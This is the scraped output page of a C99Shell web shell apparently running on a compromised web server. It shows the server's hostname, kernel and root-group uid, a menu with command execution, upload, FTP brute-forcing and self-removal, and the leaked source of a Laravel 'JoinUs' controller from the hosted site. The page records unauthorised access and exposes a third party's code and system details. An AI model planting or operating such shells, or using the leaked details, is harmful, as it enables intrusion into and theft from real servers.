!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/Modules/LandingPage/Http/Controllers/   drwxr-xr-x
Free 26.58 GB of 117.98 GB (22.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     JoinUsController.php (3.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\LandingPage\Http\Controllers;

use 
Illuminate\Contracts\Support\Renderable;
use 
Illuminate\Http\Request;
use 
Illuminate\Routing\Controller;
use 
Modules\LandingPage\Entities\LandingPageSetting;
use 
Modules\LandingPage\Entities\JoinUs;


class 
JoinUsController extends Controller
{
    
/**
     * Display a listing of the resource.
     * @return Renderable
     */
    
public function index()
    {
        if(
\Auth::user()->type == 'super admin')
        {
            
$join_us JoinUs::get();
            return 
view('landingpage::landingpage.joinus'compact('join_us'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    
/**
     * Show the form for creating a new resource.
     * @return Renderable
     */
    
public function create()
    {
        return 
view('landingpage::create');
    }

    
/**
     * Store a newly created resource in storage.
     * @param Request $request
     * @return Renderable
     */
    
public function store(Request $request)
    {

        if(
$request->joinus_status){
            
$joinus_status 'on';
        }else{
            
$joinus_status 'off';
        }

        
$data['joinus_status']= $joinus_status;
        
$data['joinus_heading']= $request->joinus_heading;
        
$data['joinus_description']= $request->joinus_description;


        foreach(
$data as $key => $value){
            
LandingPageSetting::updateOrCreate(['name' =>  $key],['value' => $value]);
        }

        return 
redirect()->back()->with(['success'=> 'Setting update successfully']);


    }

    
/**
     * Show the specified resource.
     * @param int $id
     * @return Renderable
     */
    
public function show($id)
    {
        return 
view('landingpage::landingpage.joinus');
    }

    
/**
     * Show the form for editing the specified resource.
     * @param int $id
     * @return Renderable
     */
    
public function edit($id)
    {
        return 
view('landingpage::landingpage.joinus');
    }

    
/**
     * Update the specified resource in storage.
     * @param Request $request
     * @param int $id
     * @return Renderable
     */
    
public function update(Request $request$id)
    {
        
//
    
}

    
/**
     * Remove the specified resource from storage.
     * @param int $id
     * @return Renderable
     */
    
public function destroy($id)
    {

        
$join JoinUs::find($id);
        
$join->delete();

        return 
redirect()->back()->with(['success'=> 'You are joined with our community']);
    }


    public function 
joinUsUserStore(Request $request)
    {

        
$validator \Validator::make(
            
$request->all(),
            [
                
'email' => 'required|email|unique:join_us',
            ]
        );
        if (
$validator->fails()) {
            
$messages $validator->getMessageBag();

            return 
redirect()->back()->with('error'$messages->first());
        }
        
$join = new JoinUs;
        
$join->email $request->email;
        
$join->save();

        return 
redirect()->back()->with(['success'=> 'You are joined with our community']);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--